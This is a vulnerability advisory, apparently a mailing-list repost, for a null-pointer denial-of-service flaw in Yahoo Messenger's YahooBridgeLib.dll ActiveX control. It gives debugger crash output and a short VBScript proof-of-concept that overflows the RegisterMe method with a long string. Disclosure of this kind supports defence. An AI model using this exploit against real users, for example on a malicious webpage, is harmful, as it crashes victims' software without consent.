************************************************************************
********

Product:

Yahoo Messenger 9.0.0.2162

************************************************************************
********

Vulnerability:

ActiveX Null Pointer - Denial of Service

************************************************************************
********

Description:

Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability.

Vulnerability is in YahooBridgeLib.dll (Activex Control)

An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage.

************************************************************************
********

Credits:

HACKATTACK IT SECURITY GmbH

Penetration Testing in Deutschland - Österreich - Schweiz

www.hackattack.com

************************************************************************
********

Debugger Results:

(1910.1a18): Access violation - code c0000005 (!!! second chance !!!)

eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000

eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

*** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll -

YahooBridgeLib+0x1074:

10001074 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????

0:000> !analyze -v

...

...

...

PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ

DEFAULT_BUCKET_ID: NULL_POINTER_READ

************************************************************************
********

PoC (.wsf script) :

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>

arg1=String(11284, "A")

target.RegisterMe arg1

</script>

</job>

</package>

[ reply ]